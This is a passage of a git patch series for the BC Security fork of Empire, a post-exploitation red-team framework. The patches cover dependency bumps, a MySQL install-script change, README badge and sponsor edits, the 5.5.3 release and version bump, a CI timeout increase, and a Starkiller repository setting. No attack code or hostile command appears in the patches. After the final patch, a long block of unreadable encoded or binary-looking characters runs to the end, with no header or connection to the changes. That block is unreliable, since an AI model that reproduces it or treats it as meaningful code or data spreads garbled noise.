"SQLAlchemy-2.0.19-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7351c05db355da112e056a7b731253cbeffab9dfdb3be1e895368513c7d70106"}, + {file = "SQLAlchemy-2.0.19-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa51ce4aea583b0c6b426f4b0563d3535c1c75986c4373a0987d84d22376585b"}, + {file = "SQLAlchemy-2.0.19-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ae7473a67cd82a41decfea58c0eac581209a0aa30f8bc9190926fbf628bb17f7"}, + {file = "SQLAlchemy-2.0.19-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:851a37898a8a39783aab603c7348eb5b20d83c76a14766a43f56e6ad422d1ec8"}, + {file = "SQLAlchemy-2.0.19-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:539010665c90e60c4a1650afe4ab49ca100c74e6aef882466f1de6471d414be7"}, + {file = "SQLAlchemy-2.0.19-cp39-cp39-win32.whl", hash = "sha256:f82c310ddf97b04e1392c33cf9a70909e0ae10a7e2ddc1d64495e3abdc5d19fb"}, + {file = "SQLAlchemy-2.0.19-cp39-cp39-win_amd64.whl", hash = "sha256:8e712cfd2e07b801bc6b60fdf64853bc2bd0af33ca8fa46166a23fe11ce0dbb0"}, + {file = "SQLAlchemy-2.0.19-py3-none-any.whl", hash = "sha256:314145c1389b021a9ad5aa3a18bac6f5d939f9087d7fc5443be28cba19d2c972"}, + {file = "SQLAlchemy-2.0.19.tar.gz", hash = "sha256:77a14fa20264af73ddcdb1e2b9c5a829b8cc6b8304d0f093271980e36c200a3f"}, ] [package.dependencies] @@ -2071,13 +2067,13 @@ files = [ [[package]] name = "typing-extensions" -version = "4.6.3" +version = "4.7.1" description = "Backported and Experimental Type Hints for Python 3.7+" optional = false python-versions = ">=3.7" files = [ - {file = "typing_extensions-4.6.3-py3-none-any.whl", hash = "sha256:88a4153d8505aabbb4e13aacb7c486c2b4a33ca3b3f807914a9b4c844c471c26"}, - {file = "typing_extensions-4.6.3.tar.gz", hash = "sha256:d91d5919357fe7f681a9f2b5b4cb2a5f1ef0a1e9f59c4d8ff0d3491e05c0ffd5"}, + {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"}, + {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"}, ] [[package]] @@ -2129,13 +2125,13 @@ files = [ [[package]] name = "websocket-client" -version = "1.6.0" +version = "1.6.1" description = "WebSocket client for Python with low level API options" optional = false python-versions = ">=3.7" files = [ - {file = "websocket-client-1.6.0.tar.gz", hash = "sha256:e84c7eafc66aade6d1967a51dfd219aabdf81d15b9705196e11fd81f48666b78"}, - {file = "websocket_client-1.6.0-py3-none-any.whl", hash = "sha256:72d7802608745b0a212f79b478642473bd825777d8637b6c8c421bf167790d4f"}, + {file = "websocket-client-1.6.1.tar.gz", hash = "sha256:c951af98631d24f8df89ab1019fc365f2227c0892f12fd150e935607c79dd0dd"}, + {file = "websocket_client-1.6.1-py3-none-any.whl", hash = "sha256:f1f9f2ad5291f0225a49efad77abf9e700b6fef553900623060dad6e26503b9d"}, ] [package.extras] @@ -2299,18 +2295,18 @@ files = [ [[package]] name = "zipp" -version = "3.15.0" +version = "3.16.2" description = "Backport of pathlib-compatible object wrapper for zip files" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "zipp-3.15.0-py3-none-any.whl", hash = "sha256:48904fc76a60e542af151aded95726c1a5c34ed43ab4134b597665c86d7ad556"}, - {file = "zipp-3.15.0.tar.gz", hash = "sha256:112929ad649da941c23de50f356a2b5570c954b65150642bccdd66bf194d224b"}, + {file = "zipp-3.16.2-py3-none-any.whl", hash = "sha256:679e51dd4403591b2d6838a48de3d283f3d188412a9782faadf845f298736ba0"}, + {file = "zipp-3.16.2.tar.gz", hash = "sha256:ebc15946aa78bd63458992fc81ec3b6f7b1e92d51c35e6de1c3804e73b799147"}, ] [package.extras] -docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)"] +docs = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] +testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-ignore-flaky", "pytest-mypy (>=0.9.1)", "pytest-ruff"] [[package]] name = "zlib-wrapper" @@ -2372,4 +2368,4 @@ testing = ["coverage (>=5.0.3)", "zope.event", "zope.testing"] [metadata] lock-version = "2.0" python-versions = ">=3.8,<3.12" -content-hash = "cfcff7bd0b25021fded74e06723ff1adadecf630872cfe5cfc73cd5742a05bbd" +content-hash = "465d8c04c1ef9324eced4f9a5e82b8ac0eb21b6f691c4310feb5c88d8be1c06c" diff --git a/pyproject.toml b/pyproject.toml index 49e3aff43..8efb25f63 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -27,7 +27,7 @@ xlutils = "*" pyparsing = "*" PyMySQL = "^0.10.1" SQLAlchemy = "^2.0" -PyYAML = "^5.3.1" +PyYAML = "^6.0.1" SQLAlchemy-Utc = "^0.14.0" prompt-toolkit = "^3.0.9" terminaltables = "^3.1.0" diff --git a/setup/install.sh b/setup/install.sh index d0d2acb97..1b116b344 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -57,17 +57,9 @@ function install_mysql() { echo mysql-apt-config mysql-apt-config/enable-repo select mysql-8.0 | sudo debconf-set-selections echo mysql-community-server mysql-server/default-auth-override select "Use Strong Password Encryption (RECOMMENDED)" | sudo debconf-set-selections - if [ "$OS_NAME" == "DEBIAN" ]; then - sudo apt update - sudo apt install -y gnupg - wget https://dev.mysql.com/get/mysql-apt-config_0.8.22-1_all.deb - sudo DEBIAN_FRONTEND=noninteractive dpkg -i mysql-apt-config* - sudo apt update - sudo DEBIAN_FRONTEND=noninteractive apt install -y mysql-server - rm -f mysql-apt-config* - elif [ "$OS_NAME" == "UBUNTU" ]; then + if [ "$OS_NAME" == "UBUNTU" ]; then sudo DEBIAN_FRONTEND=noninteractive apt install -y mysql-server - elif [[ "$OS_NAME" == "KALI" || "$OS_NAME" == "PARROT" ]]; then + elif [[ "$OS_NAME" == "KALI" || "$OS_NAME" == "PARROT" || "$OS_NAME" == "DEBIAN" ]]; then sudo apt update sudo DEBIAN_FRONTEND=noninteractive apt install -y default-mysql-server # mariadb fi From 8b78efdc9be38d293210ac6f4332edd3ea028306 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 19 Jul 2023 23:13:55 -0400 Subject: [PATCH 32/36] Updated social media on README (#654) * updated twitter account * Update README.md * updated sponsors * add the mayor * update cybrary image * use a logo for cybrary that is visible in dark and light mode --------- Co-authored-by: Vince Rose --- README.md | 29 +++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index ffc20baf5..39fe520fc 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,20 @@ -![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg) - +
+ +![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg) +[![Donate](https://img.shields.io/badge/Donate-Sponsor-blue?style=plastic&logo=github)](https://github.com/sponsors/BC-SECURITY) [![Docs](https://img.shields.io/badge/Wiki-Docs-green?style=plastic&logo=wikipedia)](https://bc-security.gitbook.io/empire-wiki/) -[![Twitter URL](https://img.shields.io/twitter/follow/BCSecurity1?style=plastic&logo=twitter)](https://twitter.com/BCSecurity1) -[![YouTube URL](https://img.shields.io/youtube/channel/views/UCIV4xSntF1h1bvFt8SUfzZg?style=plastic&logo=youtube)](https://www.youtube.com/channel/UCIV4xSntF1h1bvFt8SUfzZg) [![Discord](https://img.shields.io/discord/716165691383873536?style=plastic&logo=discord)](https://discord.gg/P8PZPyf) -[![Donate](https://img.shields.io/badge/Donate-Sponsor-blue?style=plastic&logo=github)](https://github.com/sponsors/BC-SECURITY) [![Blog](https://img.shields.io/badge/Blog-Read%20me-orange?style=plastic&logo=wordpress)](https://www.bc-security.org/blog) +[![Twitter URL](https://img.shields.io/twitter/follow/BCSecurity?style=plastic&logo=twitter)](https://twitter.com/BCSecurity) +[![Twitter URL](https://img.shields.io/twitter/follow/EmpireC2Project?style=plastic&logo=twitter)](https://twitter.com/EmpireC2Project) +[![YouTube URL](https://img.shields.io/youtube/channel/views/UCIV4xSntF1h1bvFt8SUfzZg?style=plastic&logo=youtube)](https://www.youtube.com/channel/UCIV4xSntF1h1bvFt8SUfzZg) +![Mastodon Follow](https://img.shields.io/mastodon/follow/109299433521243792?domain=https%3A%2F%2Finfosec.exchange%2F&style=plastic&logo=mastodon) +![Mastodon Follow](https://img.shields.io/mastodon/follow/109384907460361134?domain=https%3A%2F%2Finfosec.exchange%2F&style=plastic&logo=mastodon) +[![Threads](https://img.shields.io/badge/follow%20@BCSecurity0-grey?style=plastic&logo=threads&logoColor=#000000)](https://www.threads.net/@bcsecurity0) +[![Threads](https://img.shields.io/badge/follow%20@EmpireC2Project-grey?style=plastic&logo=threads&logoColor=#000000)](https://www.threads.net/@empirec2project) +[![LinkedIn](https://img.shields.io/badge/Linkedin-blue?style=plastic&logo=linkedin&logoColor=#0A66C2)](https://www.linkedin.com/company/bc-security/) + +
# Empire Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers. The Empire server is written in Python 3 and is modular to allow operator flexibility. Empire comes built-in with a client that can be used remotely to access the server. There is also a GUI available for remotely accessing the Empire server, [Starkiller](https://github.com/BC-SECURITY/Starkiller). @@ -45,9 +54,13 @@ Empire is a post-exploitation and adversary emulation framework that is used to - And Many More ## Sponsors -[](https://www.sans.org/cyber-security-courses/red-team-operations-adversary-emulation/)       -[](https://www.cybrary.it/) +
+ +[](https://www.cybrary.it/) + +[](https://twitter.com/joehelle) +
## Release Notes @@ -121,7 +134,7 @@ A special thanks to the following contributors for their help with Empire: [@Vinnybod](https://twitter.com/_vinnybod) ## Official Discord Channel -Join us in [our Discord](https://discord.gg/P8PZPyf) to with any comments, questions, concerns, or problems! +Join us in [our Discord](https://discord.gg/P8PZPyf) with any comments, questions, concerns, or problems!

From 97ceb313a32c769c2f4c52875ec245afff4b03fe Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Thu, 20 Jul 2023 03:19:42 +0000 Subject: [PATCH 33/36] Prepare release 5.5.3 private --- CHANGELOG.md | 7 ++++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c17849c86..e3b832df7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] + +## [5.5.3] - 2023-07-20 + - Updated restip message to show IP address on server (@Cx01N) - Fixed onedrive taskings for powershell (@Cx01N) - Update pyyaml to 6.0.1 to avoid build issue from cython (@Vinnybod) @@ -533,7 +536,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.2...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.3...HEAD + +[5.5.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.2...v5.5.3 [5.5.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.5.1...v5.5.2 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 784d79d00..19d224239 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -39,7 +39,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.5.2 BC Security Fork" +VERSION = "5.5.3 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 8efb25f63..997fb186c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.5.2" +version = "5.5.3" description = "" authors = ["BC Security "] readme = "README.md" From 094625a5585ab2fc6efdbc3e0aa1aa129eb73b4c Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Wed, 19 Jul 2023 20:41:16 -0700 Subject: [PATCH 34/36] increase time of docker test --- .github/workflows/lint-and-test.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index c9c2182a3..ba341e901 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -85,7 +85,7 @@ jobs: test_image: # To save CI time, only run these tests on the release PRs if: ${{ startsWith(github.head_ref, 'release/') }} - timeout-minutes: 20 + timeout-minutes: 30 runs-on: ubuntu-latest name: Test Docker Image steps: From 1aa17f9cb0f7aba9e2f4b1fc02e46edf181274d1 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Thu, 20 Jul 2023 04:42:03 +0000 Subject: [PATCH 35/36] Update starkiller version to v2.4.2 --- CHANGELOG.md | 1 + empire/server/config.yaml | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e3b832df7..3bf92ce19 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ## [5.5.3] - 2023-07-20 +- Updated Starkiller to v2.4.2 - Updated restip message to show IP address on server (@Cx01N) - Fixed onedrive taskings for powershell (@Cx01N) diff --git a/empire/server/config.yaml b/empire/server/config.yaml index 974ecc8de..ec9288c79 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -40,10 +40,10 @@ database: # format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8" ip-blacklist: "" starkiller: - repo: git@github.com:BC-SECURITY/Starkiller-Sponsors.git + repo: https://github.com/BC-SECURITY/Starkiller.git directory: empire/server/api/v2/starkiller # Can be a branch, tag, or commit hash - ref: sponsors-main + ref: v2.4.2 auto_update: true plugins: # Auto-load plugin with defined settings From 36478425acee472fdfdd6bca3657186017d1be95 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Wed, 19 Jul 2023 21:43:31 -0700 Subject: [PATCH 36/36] Update CHANGELOG.md --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3bf92ce19..d50474b7e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,8 +8,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ## [5.5.3] - 2023-07-20 -- Updated Starkiller to v2.4.2 +- Updated Starkiller to v2.4.2 - Updated restip message to show IP address on server (@Cx01N) - Fixed onedrive taskings for powershell (@Cx01N) - Update pyyaml to 6.0.1 to avoid build issue from cython (@Vinnybod)

u?W3}c#P zUfVSfJ^OHyP;2ccCGx|!CmS9E_EW(g;_0B5;V?aF#Wyoic|@Pm%wseu{xJvdw^UwJ z+}`384RGxV!*a~fQiA7npn6_MHb&%+w? z3?%n$-!Y61O-N}r;IX;v1Af6LIZuravz}ItZz~4_CuCnY#ku?3o+ObJsfFCyuLPAO zus1A2onZ9oNHFT#$=OQ6fNThCmtHa79y`T(9(!P5g$&K(8{(UN z6<`Q6OmdsP@XdWT@eS1>&@zz;X>|z4+mc>kYOD;_SOH!Xz|_pS5aI1ajsvsgrbszc zlXH0ZraMZx#rE5Y>1EPu_e;p5o0w|Ed10M9#kM&2VKk=M5p1A{@2UtaeovbCr((wc z|7+r3MDCL&ejMRgxR(j{AQ!h`D!9VNeJ=8VwMS7050TLvn1$rb-MnNJypf3aYf{yB zyBzMo%IgfG@^WnMU-E_Iyg>Y6`X;dUQ*H@{mFwXQx?Hf4j<<~preolJe;Qr%dnr`U zb1RwzXsxq6cia$IhxZ@U0#k%#8d!*8CI;_$RV!np&iN_ZMRiE(Up~M2)(WM*)TA~~ zGe7Qirh9Q{RtToO#3cq>D{tawD4ZoYm9*I|W(c!G!9$-y^b>p2r49t)!Y&OknFL)l{R^l=fwe~H*7e3ep6&b#0WI-$le=5754y2Xdd&=i_YgdZ(yFgqo8q&P zMY8Z_RAyEwf1Sn~G6eoR?c%Vxj%(`2oS#x-jTheR@dSSKn8w|@9(yxAU8!srP(TJJ z%)pS~>joEhv7#{-$#@qDFQ?WmIo|ZZ3eO#rt!8Ea@RK7+-T>4?TKCgZt3$xo0n!O= zvF^s~8ObZGeFAm>Y@6pren+Q(PN%?6{{w4y+^gL0K+D9rRyRo#9Jzms9QP^KDBQxg z5WLG^^&_>+aA)NHd^6PGAod%aP&ay>+eNy1=jI7L$$NHL`v@$XmUPCDkAw&+mj6FQ zt{{J5G-V_+8j)C!^F6Mp#y1x5(oP_LH8oj=LC0FuK315tPTvd$@u?|p_Rq(Q-q0w} z3}s#23Yg9{n3$eyIRbI%B)ATPr)~a%?q;D|+nuhE&}o`en@4)ltvmtUYn-)->efo- zTu4sJtYa55506_+a$M2Gx}9Yr{T`*b(WD4A?{3VV-q?3apsJhKQS1%LXv-eA8_Gy< zd;@X_yR%JmKe%UFvfVQ?NQOWqM}2-iouMRY-rc|(DGlIn3srGS;&EU&oO+hgj7S>#&ywDP_Knx&w*hf6&T$SmjBp9a=C$t$Uc7MNSz658(aR>u!y#Xitx z(yCOZ8fDr*%bchO# zF12#RO9x-!mc{^EPjd`bYGOdPnq+1^CXfJl`YPHEwO~ZJkcv^ZHZY&aQ!~@4MNI z2Pnj}kCXHENH*1>Ue3@p}FVS(+-JISk`UCzD?{s zRmT}VRmU3|uG%nfpFOR+6IWuJn%>Vc^jxT9Yf0A7aCk$OsClSA)NB{{*8-El-ehl! zzw0x-`;EgJ`jGMP2CrM4maVC3S#!Qmmf2)s%qGrh*=o=S=K!ovq3=h-#|ls_fT_We zI%|g@B|z@c_H9N<*7W8LvcmG+4m?*Ww{BSOf6Ny=m49dO?`-}R@b6OoUBSPR{Hx?2 zn<1$}18X~7ALY`7PP4Z^p7p8|-nd?YIXSTQ?{-&R=ll4u&Dpi7GC$y{&)&^%t|$INUh&~Z|B`KtU@s1L!__mOq_$TR z{PqUN{}I|3Lit%mq_(#MI(ndw=blOVr{-r}zM~o@bE;OFmjY|WVmjjQW_7-Mdh<^F zK<21!p`5pnWaZN>4>`1N>*=kdyq%8ko-LcJJhwz{S?=hSKVn0HwcSg$d%ouJbar_= z|K)S^a^O7%-jUNSz^5E7Fb3>xIo-k=c(gOOHRg5niXnOJZ7E<_X*d5{+K|9{H}PZ? zL4hCqH?Y5zGp@V8g4w6E-vj7YmulG?5R6pYd$u@}TqO5UJ*BI1gE`$ZT4R20FEz;2 z4%<)lCC8ZgXJg#v;p&Em=q)&BfJ z=R80;pBu{M=6nqM4(Gg65&yVv97StZy42XRz*^P}Wg42jGiQe=n!Piy_Qjl6z?*{P z&&b|6J?HPOmUmj~6yIh~MN`NFa}LwIT$;xP^_}(hQG3(+ifaR&Biz;A+}~<4&tL`Z zO-DXizY?|W<}u!6sLxaO^Tj)r!VD0_1;2ry*b5As3=YfU3BX(d8)w?j^YS&$5_e8J z@|nSq2mG_ffl7JPkxvb%0MMs)Cxbelg50knzCN>`fAGi`_w1s5!N6M6%+B|`uvGxz zoLAiM)bF;OS0H7Pfpr>^po8t`e9vdT^USx`dIZHXq7q zKJwFPigyIoZbe`y-oaCLWL8AZ7QR)J(2^HCp8lTJdRF;qkUKY{q9|krW@Dkj4lnqW zXvOG)MuwJ0KB{GEHH^uX)C|2!=8 zJP!^akaN&bf7K>$=U%UggZTCJXA|A}yg494E714Y5*H7mlFnUQAi;5*me!t4kY zb?)^QcQ*P0>$Xfe(&=f!FWJeU@<868`aQO~<6WxC~9(XiHKlF(yb|!q6zoN)ji+2-Q%w#XZdQ6XCU&8?# zJasUfd&_91elQEXgJbW)c-g(W<1{a@>Uh?J*+~f2(|Ws?o7w?S>koX~rzH)h5BbGg zp<+St;m-HH#mOAln8|%gVAWd#=*k>1toH}xXmW)Gd(ebvUicaibiUs=zODZlTKFnz zw8uU$j4D_48AE--SsJ{tcT+WaFlSTFtF5Dg?RR_bTHadYM;^JBuNl)@vy4KuxWj6? z3P02f^=F0tEYP2a_=9mWs%5T!niQDMV;!PRh;tC}L(Zdd-;9L=2^x9vOr{f`_E49j z^0c`RJ!lhp@|3f8+)kDa7xqB&gJdonuHsz9d)xS3HHhxGS$fkRq_XYnLe48cG19m; zER#u(8?&_W1a4*Ixy&GN)?cQ5O{grkH_-eI(%F;u;ijiKmrprY)04CKZ0JSn|7i+s z^dg?xwioTOt6qD>Det}mC*|JxTyl<{pE?wJ_I=4cyzIRru{(XP;S z^*Fk4HNIWHSKn6cw>^5T=>NG(L>rW6bMX?tcumwJamL73Q7sXQ+(F1c@=1jTSvv?h zS*oMij21-+9(>QVdcElHyrU~RvIEK7tzV%u+estEdpJg*Q-Oao)M&&qTAe)j2#>>$ zR0n!oZ`OK&*HYL?UdjpZ$%OcS?(zk*moy<(P}yEW%$av0A-V}UJ@2LoF=al%E`mtj zE+Jk=Z7xE@&ofPlj}&>}L2m3iV%>3r#N~JHY$NA+8lBvZ{)z#Mj5DNgiy)SCNIkKT zCH3$lHSFW-9;s_($M(o0sJXc6I)I-Mk-9p09h;24<6%z z-EY07=$|WEhVp)nqGp5N)s`#leupc zvft)_iI3dIfypb9r>!*D0xh~)T{b-w{o3To7%1q>=Cr5Xf^eU>cM(n^b(B~(J-5AU zhlf3Kb#A0FY3)Rr$s2mg6HK1ACWT8E^PrL%x+MkD%~2MFp#5c8!Mw53LgEaj-J2od zSt4P*wPFWnQOS4ANO$R+A>x!D(#U;8p%?(snDWxO?Pa(5qb1fJVkUFUL=84lT=8y( z*!>$g#PwUtUjg4^WHOG8?gYbc4F;=8-w)_}vS|cH0;jc;+1jCqMT$Uyagp4$KnyT< zn1+CI-0Ps6nnLMWNa`C5%2b0NBAxntj$($Jn8qxZJgW?f=+_t!L?#BanT4+EKx;9H zeI~K%y1VR>sF&V(v+Oo+w6AP0`10w?XWr3_k9H46ZLej7FepHRyMP@n>q#EjwZ4S!GdtpY zdw9{Vbxe4*uRRxtakdmuvMqZwYzj7y$^D2Cx_L~n$F!r~I_nu9?O{B#q$j>!*E(Fp zbC-V>P4$(sx00QGx-lqgEVagJwb+aQpT>F=p>2!Wu|P?&*+9!TQCrklPk^8E2=g}l z0NF+Isdak?|F-b&#RvqY9nPoR1F~|j8WfZPrR7jsD&j0!7T;KkJ*0Erk7)QVG$J>9 zJnh-D&}LTdszqYE5jZnkHT+;VDqu^TzTPlcxnA94xNK|}&$PT|{I0%ePu}8`a)l)B z`cL`^9c!(Tr&S}uxXxBx1NUl0=PeFVITGt;t26G=7fgGSHF52(Ly(7T91_j&=`Hs8r-@VT7IJU0TYz`9oy`d}9k z=Y{ZshyZULPiA=nBH6V{Q7Yx(eSkf27bj&9i#6*${H#}S5<%kH*MQ#9q7OYVhj z{_#@VMrx>pb0&mznXf54da0?*bf#{roFks0Apf`naRw6y8p`6NwTg>#s$ufY=AJ(Hslg!`X4I}~V9 zKuf>|xvKL&S+ooA0&- zifdL};9v^p*H4ODp}4ctaWcQ|t;-t44Nu4Y3(ceAWTE4XKBbR`XH;yTbJtpNia_&f z&5ZHK>gt`{1`_=tr zAsb)U@?~vtp;zcz7=T~MH_P#pJ5;w|EBAu9#Pzd_%!0vUEK9gvtHT1~o&K+D7=zV~ zoiV*PevRTkcun!LJu>*5pBEbcPTIokXCuG4s$0d#{aplGr^mMVc&?&{Tj*SQWb^;9 zMiHZ6sGiN^3K2H)$>D;z7QI5tq&Dw@1!W0tZkLvgl_sZXbKlB-rvzDZJXQrC$>AD_ zT;l*oe58rO^=1m$A*p9J&A4ZH~U{t;yLSj>Sd{-TzVq^!$L*1W}v?tE`(31 zg!zLM&V^x(mFzHN{EThg;%2rb=Ec@I^gil%b{XPgKA+O53 zM}%;Qr@S8yG7t3JUnF5pt{NnHac13wQN&#UW%MY;p#$kgCgQ^W$d z{6I~3RLNUNZfeV`rs>)qbEccx%7FiB6WQ(9NU{-Yqq0mSiwxPCE=ga#su099-ZX)F zk*jMu6E($#Q1(+*$pO9yW0w&u>DzRZ(@hzs9SGn&{$rdD z^hio~iWn!9MitM{rH?3=CK&ear6E0dYOWZjtoF=)pErl#n_XNx4|yhPU&t2R+`*HZ zqJpmNEZDX1?h`KHefJeM#acN9PhY^hlXR)ewbv0}r#N!~4>RqMR{qf>ute`Vr-Ch} zE~^Eab-&Eqd8>0S$^a4N+&gb|&d?MPdjoR?H~-?yowqvY=sXuq`hM=4Z~=GQzIlf_ zTj~Ltl`n69(SJ!_X@AV^fcqfy?@3^V_^NaM0v3C`OS9NCU95W!JV0n-0oDR)DNyta zc@gJvuKu_~rGkY(zK#p|&2yT8N324jz8=)}#TxPIbP^eVM8+SGJp@GDM3MLEhS6<> zzm6|Lx^Lm_6Z4W1;!|N)xdJC%SpDK0B|#nG_n1w7Yy8Q83u zWS)8btG*xvgz`zhz(GtcR#4A$n0l+1ZBj@ol~2+T4DIZ*CY!6F`BFPHQ85lNNN0BH z=OnKbRChz!3pk!w9@ktb7>k8Zw$rPwEWSgOewVO1V|O&i9)>)8q3+HNQ)dqVNovf4 z%M5vX0zRv5nE^HQn=&QHrTP9gZ@#7hE^H6tdA9wB+%h?8zwNY|MM~W1CR!M5tI2pv z`CII>i(Yu;Xxr_lw0W=ST^Y?Q;KLZyD$c6-vAN=yznJ+lfvN_}I|I%5Akftx)xh4> zC2fc%S)jR-XvIo>hL$PKZP@{-1R&zCRPS~-G>#Bm9K5w7o1ZYo z2xpM8CbPlURim25ehtrB)Xe_k)8El4K@5cR+wQ<2fev211$eR|ve8@T%wA-8Z+ug~ zs`8KL{(}VJ#tRx|wT>G-6kDm~q;jUeM3=Z_t3kcYxm&RniiJ5ZSWci=0Y;p$-|%m+ zntu-P>i`kmc)?hbZ^L@Yy*$t7T6g5tHGW2$Sw-z`<3vWAW(0WDWZK-L@BW^Eog!$UVmtm#Wa+UPNixjUzfRzgUJ{5As#;6*fzH#^Zea3i;t9E^# z)fpOQFAtC-svNp5{vz$PDh2wMi)6YHSmB}2GNWa|CI2|rS326K0GG%8QLlX^C?}B< zW4QBZcuU8Vp&5gN>;3!*RK8GyF`Lj11TEc<&6T+o0h@=f*FNPzhOV_L7qMWSBmM#Z zjGdZ_be|i{FJKMNUp`ULV|J!10kv>{-9+AA|6y@#NF|1S+48 zk5qA+o&uAj%nPu;<$M=Z^rheQ$m#KWKfd6+~vETd=>T>xq!X zWv${WdX3y=_q$%8Z+Pl2xo+i4a{F2U^UyRvms+%^0YiR@*JU#g;hJHY}cEDHoLE_F%R|S`K@y*_NvNCXYso4Klsjxz+zr-k+_Nz@3 zwQ3q`zIV3L8fml~Nbg=JIiJWj|1~E~`arX;^vYj>(zV@?gb}q!$C5PtLGyC0l@t=<+z_HF8e?*T58iL1_ttYuwT>;{v zS_Z}f>J;ik3G6PDdA)ZZ(4$oU z*rEy;*Rz##?-h%7J|rwNsRbTTM|2Ce!oc8782m5UsIk4F zW^x_%^Ere5AQ4Vu@0n%4(7QX)OW+wCu;f?^2s_i1m4bZkt>y^^lfo{CPvmgPWU_Om z0lOI|h|wmClBeyVE5LWDDd%^q4N+t>?6X1-fjRrDs7@0q_tr{*61=xrjYlOp&0JDg zvR~(T@I*5scd!F!YZ=FAg8cg^$$E%9cDM5=x!Sk~yo^qLPGhLvdC(w=A5TW{lE5w0 z<5_LvSGBc7$gHPQtw&W_)FiUD=-W!+c$&_ucWyK>uDVnkP0oKN9~Vy@BRO_@bor6gOHb!`x;Fq-Orxe0tD$dW%NrvC5`~jB9 zivZda{7$U_`mA=Pv;?ffW;~3F`xKs#rWNL z)mmmEyiZW<>xvjIN5ySb4pn5!5z)q@TdQaC4Oc16*J)3a1a4wnd6G0@dDY;1|EBS= z!}&2w-%}bNwayO!!4tIHihSHHG>UBp91rypUnb@*@%2j3zY$-+GzMM^+X1RH0=l70 z8?Vw|LjymBVN>Y5$1K#)F$6!d5g@9I?Fi3*z;3nH`6mz>CxYIrY_AjUC1}A&Obd1D z)1$cc#3e$=H7jAiD4WB-0l3O!VD@l%*KD?2V)tM>DWb`yW7rR?V_duFL(XK3qO{J@ zUn0_pJ@u%eVY;W@+u-)pKVj{4?r41(5GDOy>%*QI42EX~7!NA^EwbD8XPyPVU9_E} z4*!LcK-=*>5O*92+|k<%7>Sii)R9zmbvtZ@88r+1)}zWiom4tdYx*rDtsx+-P3l&e 